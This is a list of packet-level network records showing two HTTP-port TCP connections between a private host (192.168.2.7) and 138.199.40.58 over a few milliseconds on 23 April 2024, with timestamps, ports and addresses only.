Apr 23, 2024 08:39:58.612310886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.612334013 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.612358093 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.612421989 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.612493992 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.612533092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.612555027 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.612603903 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.612628937 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.612694025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.612778902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.613025904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.613033056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.613082886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.613284111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.613307953 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.613452911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.613506079 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.613528967 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.613531113 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.613554001 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.613604069 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.613713980 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.613785028 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.613807917 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.613868952 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.613892078 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.613960981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.614018917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.614058018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.614082098 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.614132881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.614197016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.614269972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.614293098 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.614342928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.614365101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.614387989 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.614411116 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.614471912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.614531994 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.614594936 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.614618063 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.614650011 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.614672899 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.614716053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.614756107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.614820957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.614841938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.614975929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.615031004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.615061045 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.615240097 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.615289927 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.615317106 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.615345001 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.615367889 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.615405083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.615489960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.615554094 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.615585089 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.615609884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.615633965 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.615659952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.615731001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.615757942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.615780115 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.615969896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.616081953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.616106987 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.616157055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.616245031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.616270065 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.616302967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.616327047 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.616394043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.616466045 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.616492987 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.616765976 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.616821051 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.616842985 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.616873026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.616919041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.616961002 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.617059946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.617120028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.617202997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.617227077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.617284060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.617429972 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.617455959 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.617513895 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.617537975 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.617594004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.617634058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.617711067 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.617733002 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.617762089 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.617785931 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.617831945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.618038893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.618171930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.618241072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.618266106 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.618295908 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.618302107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.618480921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.618537903 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.618563890 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.618587017 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.618609905 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.618633986 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.618715048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.618738890 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.618772030 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.618855953 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.618925095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.618948936 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.619007111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.619086981 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.619122028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.619232893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.619306087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.619329929 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.619385958 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.619499922 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.619524956 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.619554996 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.619558096 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.619658947 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.619685888 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.619748116 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.619759083 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.619772911 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.619853973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.619878054 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.619935036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.620023012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.620047092 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.620048046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.620321035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.620345116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.620347023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.620372057 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.620395899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.620398045 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.620421886 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.620568037 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.620623112 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.620646000 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.620805979 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.620883942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.620934963 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.620940924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.620994091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.621020079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.621042967 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.621079922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.621156931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.621211052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.621236086 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.621237040 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.621259928 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.621324062 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.621347904 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.621349096 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.621442080 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.621464968 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.621519089 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.621543884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.621568918 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.621601105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.621673107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.621716022 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.621746063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.621834040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.621884108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.621994019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.622164965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.622222900 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.622247934 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.622342110 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.622358084 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.622366905 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.622445107 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.622469902 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.622469902 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.622494936 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.622519970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.622541904 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.622544050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.622569084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.622658014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.622680902 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.622713089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.622736931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.622761965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.622786045 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.622808933 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.622854948 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.622876883 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.622910023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.622935057 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.622956991 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.622958899 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.622984886 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623009920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623028994 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.623034000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623059988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623083115 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.623085022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623109102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623132944 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.623133898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623157978 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623182058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623203993 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.623203993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.623205900 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623231888 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623256922 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623258114 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.623281956 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623302937 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.623306036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623330116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623354912 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623375893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.623378992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623403072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623424053 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.623426914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623475075 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623522043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623524904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.623528004 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.623590946 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623616934 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623637915 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.623641014 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623687029 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623708963 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.623713017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623737097 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623761892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623785973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623810053 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.623811007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623833895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.623858929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623883009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623903036 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.623928070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623953104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.623975039 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.623999119 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624022961 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624042988 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.624047041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624072075 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624095917 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624119043 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.624121904 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.624131918 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624159098 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624183893 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624207973 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.624208927 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624231100 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.624233007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624257088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624283075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624305964 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.624308109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624332905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624356985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.624357939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624382973 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624403954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.624407053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624429941 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.624432087 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624480009 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624502897 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.624547958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624572992 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624593973 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.624597073 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624622107 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624645948 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624656916 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.624691963 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624717951 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624739885 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.624742985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624764919 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.624768972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624793053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624818087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624841928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624865055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.624866009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624891043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.624891996 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.624985933 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.625262022 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.625293016 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.625318050 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.625375986 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.625406027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.625428915 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.625436068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.625463963 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.625509977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.625530005 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.625597000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.625626087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.625648022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.625667095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.625679016 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.625698090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.625716925 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.625730038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.626176119 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.626209021 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.626223087 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.626244068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.626256943 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.626279116 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.626298904 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.626363039 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.626377106 CEST	80	49705	138.199.40.58	192.168.2.7
